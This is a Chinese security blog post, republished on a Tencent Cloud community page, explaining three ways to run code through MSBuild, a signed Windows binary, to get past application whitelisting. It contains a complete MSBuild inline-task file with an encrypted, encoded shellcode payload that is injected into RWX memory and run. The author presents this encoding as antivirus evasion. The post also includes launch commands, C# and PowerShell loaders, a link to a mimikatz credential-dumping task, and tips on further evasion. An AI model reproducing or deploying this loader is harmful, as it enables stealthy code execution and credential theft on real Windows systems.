专栏首页鸿鹄实验室Msbuild的三种利用方式

Msbuild的三种利用方式

碎碎念:最近一直没更新文章,团队的小伙伴都到了找实习的时候,所以都在忙着找工作,恰巧又碰上国赛,耽搁了几天,不过目前都已尘埃落定,有几个去了甲方,都是三大运营商,还有的去了国内的一线乙方,对于我们这个普本来说成绩已然不错,继续加油。ps:有需要发招聘的老板可以私聊我哦,后台回复合作即可。

前言

MSBuild是一个免费的开源构建工具集,用于管理本地C++代码.在Visual Studio2013之前,MSBuild是作为.NET框架的一部分,但是在其之后,MSBuild被绑定到了Visual Studio.所以,Visual Studio依赖于MSBuild,但是MSBuild并不依赖于Visual Studio.且对于渗透测试人员来说,Msbuild也是我们常说的白名单文件,具有微软签名可执行xml文件。

根据维基百科所说:https://en.wikipedia.org/wiki/MSBuild#Versions

其所处位置如下:

其工作原理可以参考微软的文章:

https://docs.microsoft.com/en-us/visualstudio/msbuild/build-process-overview?view=vs-2019

利用

拿最基础的进程注入为例,CPP代码如下:

LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
WaitForSingleObject(hThread, INFINITE);

换成xml格式的代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <Target Name="Hello">
           <ClassExample />
         </Target>
         <UsingTask
           TaskName="ClassExample"
           TaskFactory="CodeTaskFactory"
           AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
           <Task>
           
             <Code Type="Class" Language="cs">
             <![CDATA[
             using System;
             using System.Diagnostics;
             using System.IO;
             using System.IO.Compression;
             using System.Runtime.InteropServices;
             using System.Security.Cryptography;
             using System.Text;
             using Microsoft.Build.Framework;
             using Microsoft.Build.Utilities;
             public class ClassExample :  Task, ITask
{         
               private static UInt32 MEM_COMMIT = 0x1000;          
               private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
               [DllImport("kernel32")]
                 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
               [DllImport("kernel32")]
                 private static extern IntPtr CreateThread(            
                 UInt32 lpThreadAttributes,
                 UInt32 dwStackSize,
                 UInt32 lpStartAddress,
                 IntPtr param,
                 UInt32 dwCreationFlags,
                 ref UInt32 lpThreadId           
                 );
               [DllImport("kernel32")]
                 private static extern UInt32 WaitForSingleObject(           
                 IntPtr hHandle,
                 UInt32 dwMilliseconds
                 );          
               public override bool Execute()
               {
               byte[] password = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAsuLUgtCk5NLi1KNTQyNjEFAOlS5nAQAAAA"));
               byte[] unpacked = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAEgA9/8aPPJkW/eHy5hbKvxQSfqBSXZrNOP8dAvjVNr5bGHzAS2X7+Wz+oXr28riV
5JAeBJgE7taLJYq1V4P3/5J9vuy7dDqtVQuXiSMMD9PfW05+CnARazd2mPj3SyRhgFNZWjxqICkLAdoeMLdX4TU1UJngCy4UB/cmGN0YHj2/N3YxSLeq5znU
v+YBbELj9NS4QbjOkB4aL4O95SgtsOzFZFpb/wSYleFyMQuylJJhmh9kcmkDWKjYj4YrWfr844nhX9oPNLml6BUsGVASmSLzSccnpX2aFG6i8WhF8B6Pi6/q
8UcySXyRJOjTj7BslI6Hc7JWSkyTG/OvpD8Qu2XRamZ3M7Y1xFFAp0r+JPu+LhPVGTUK9BH/gfRM79OuXjRBTMpI6cYtEDf2wcZcsds7ug8O6qKPQN2PnYaC
loJ70mStdFRR2ezPhrRQsSz8sDB8s7PsnVRQl/72jqj49tzsoKQoQI436DRoNbowJmb+RXtSvrDxznYVbPGjeVmaco72AyJQUixQMSFlZuhvedPvN/aGYN6x
mBcJPWaS8gnUpNb0+oEIey9GXv+sF+1dyAvKmzbROtZJ6oMffyL8v2VPXsygpoOcb+Ziow00MgF9Q+TsMUr3sKoxu+sofsvHEZQrFih+Q9nYaPFxKVjsQ1mf
6rjye1XMd1HI5QL7yGXcrkF/tk9sDgtD19ojSJ/25jT371rL8vswlx6LbCVh0kAebzo1ijPJsdp8QljjEW3trAhuvkAgBAPCP3T92aQmZ6S3eD73j8B/i3bA
FKcRHP4fIxd63R8twmciOcTNrTfvlwJpxFQK1OS4XuMwtZfQGugaG+ENKXiymLh7AMWAuIP8lfmrskFIVMf1/PLFuoCTS/cYj9c6j7Hl/SDGVNBpU2K7vSTd
cKLdMG4Rv28I+vl/SOPUbXs7WMgZY0TVW6aUR/rG07RS2D5M99m9YGMAh/GjtjWbNXSA9a/4nYAXnDw8LYX9NG/oRHoPmTuvV4xRG3IGch++3Bma1qLDRk3P
S0zJHY5t53BDkVi24dSovOK1peoeJv5VqzhAliRMBxKU/K603bctY8IAMAAA=="));
               byte[] eggs = Crypto.Decrypt(unpacked, password);
                   
                   UInt32 funcAddr = VirtualAlloc(0, (UInt32)eggs.Length,
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                   Marshal.Copy(eggs, 0, (IntPtr)(funcAddr), eggs.Length);
                   IntPtr hThread = IntPtr.Zero;
                   UInt32 threadId = 0;
                   IntPtr pinfo = IntPtr.Zero;
                   hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                   WaitForSingleObject(hThread, 0xFFFFFFFF);
                   return true;
               } 
             }     
                 public static class Extensions
{
        public static T[] SubArray<T>(this T[] array, int offset, int length)
        {
            T[] result = new T[length];
            Array.Copy(array, offset, result, 0, length);
            return result;
        }
    }
    class Crypto
{
        public static byte[] Decrypt(byte[] data, byte[] key)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Key = key;
                aes.IV = key.SubArray(0, 16);

                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return PerformCryptography(data, decryptor);
                }
            }
        }
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();

                return ms.ToArray();
            }
        }
    }
    class Gzip
{
        public static byte[] Decompress(byte[] inputBytes)
        {
            try
            {
                using (var inputStream = new MemoryStream(inputBytes))
                using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress))
                using (var outputStream = new MemoryStream())
                {
                    gZipStream.CopyTo(outputStream);
                    return outputStream.ToArray();
                }
            }
            catch
            {
                return null;
            }
        }
    } 
             ]]>
             </Code>
           </Task>
         </UsingTask>
       </Project>

代码使用了GZIP/AES进行了处理。免杀效果还算不错

根据情况可以使用下面的文件进行执行:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe .\inline.xml

而第二种方式则是利用.Net来进行msbuild的调用,其依赖于Microsoft.Build.Evaluation

using System;
using Microsoft.Build.Evaluation;

namespace SharpBuild
{
    class Program
    {
        static void Main(string[] args)
        {
            string path = @"C:\Users\mez0\Desktop\inline.xml";

            ProjectCollection collection = new ProjectCollection();
            if (collection.LoadProject(path).Build())
            {
                Console.WriteLine("built");
            }
            else
            {
                Console.WriteLine("error");
            }

        }
    }
}

第三种则是将C#改成了PS,本来两者就属于可以很简单的相互转换的语言

$path = "C:\Users\mez0\Desktop\inline.xml"
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$eval = new-object Microsoft.Build.Evaluation.Project($path);
$eval.Build();

扩展

除了上线以外,我们也可以使用msbuild来执行mimikatz。

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

当然,不一定非要将mimikatz编译进去,msbuild支持UNC路径,可以选择反射+UNC路径的方法,来使用其他的C#程序来实现相同的功能。但由于是相当于进行了一次动态编译,所以会留下很多的痕迹

且使用msbuild是进程监控会显示msbuild的网络通信,此时我们可能就需要PPID技术来进行更深层次的操作了。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-06-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 利用WCF改进文件流传输的三种方式

    WCF在跨域传输使用了两种模型的方法调用:一种是同步模型,这种模型显然对那些需要大量操作时间的方法调用(如从数据库中获取大量数据时)是一种痛苦的选择。另一种是异...

    岑玉海
  • MSBuild入门

    MSBuild是什么? MSBuild全称(Microsoft Build Engine),是用于构建应用程序的平台。您可能不知道它,但是如果您在使用VS做开发...

    blackheart
  • .Net Core迁移到MSBuild的多平台编译问题

      本篇主要讨论.NET Core应用程序项目结构的主题,重点探索.NET Core应用程序的多平台编译问题,这里指的多平台是指.NET Framework、....

    yoyofx
  • js三种引用方式

    2.行内使用方式,在标签内声明一下,比如a标记herf内嵌套JavaScript:

    十月梦想
  • synchronized三种使用方式

    修饰静态方法: 也就是给当前类加锁,会作用于类的所有对象实例,因为静态成员不属于任何一个实例对象,是类成员( static 表明这是该类的一个静态资源,不管...

    用户7737280
  • css 三种引用方式

    郭楷丰
  • 利用mysql的几种提权方式

    1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以sys...

    tnt阿信
  • HTML-CSS的三种使用方式

    HTML标签其实是为了展示文档而发明的,而标签的出现是为了满足文档的展示效果。HTML 提供的标签有很多,比如 div、span、a、img、p 等等,其中 d...

    傅_hc
  • 基于白名单 Msbuild.exe 执行 Payload 第一季

    MSBuild是 Microsoft Build Engine 的缩写,代表 Microsoft 和 Visual Studio 的新的生成平台。MSBuild...

    洛米唯熊
  • 如何在 csproj 中用 C# 代码写一个内联的编译任务 Task

    我之前写过一些改变 MSBuild 编译过程的一些博客,包括利用 Microsoft.NET.Sdk 中各种自带的 Task 来执行各种...

    walterlv
  • MSBuild的简单介绍与使用

    MSBuild 是 Microsoft 和 Visual Studio的生成系统。它不仅仅是一个构造工具,应该称之为拥有相当强大扩展能力的自动化平台。MSBui...

    张善友
  • 如何编写基于 Microsoft.NET.Sdk 的跨平台的 MSBuild Target(附各种自带的 Task)

    发布于 2018-05-20 11:00 更新于 2018-07...

    walterlv
  • PHP递归的三种常用方式

    递归:函数自己调用自己的一种编程方法,类似于循环,所以递归调用的函数中必须有终止条件,否则就会成为死循环

    砸漏
  • Lazarus APT攻击手法之利用Build Events特性执行代码复现

    绿盟科技 https://mp.weixin.qq.com/s/7RwH5_h1rGn3MxGIngal6A

    黑白天安全
  • 三种对CORS错误配置的利用方法

    同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应...

    FB客服
  • .Net Micro Framework移植基础(包编译通过)

    借斯巴达之际,今天在QQ群1600838直播MF移植环境的准备工作,大家可随时询问移植相关问题! 如果对MF移植之前的东西有疑问,请看论坛置顶帖.Net Mic...

    大石头
  • Roslyn 判断当前使用 dotnet core 编译器进行编译

    在写 msbuild 预编译或编译调度逻辑时,如何知道当前执行的编译器使用的是上古版本的 msbuild 还是用了 dotnet core 内核的 Roslyn...

    林德熙
  • SAP Fiori应用的三种部署方式

    封面图片来自Google搜索,关键字: Fiori Deployment

    Jerry Wang
  • SAP Fiori应用的三种部署方式

    在Google上搜索关键字Fiori Architecture, 能找到这样一张图片,其中CRM和S/4 HANA的Fiori应用都以BSP应用的方式运行在下图...

    Jerry Wang

扫码关注云+社区

领取腾讯云代金券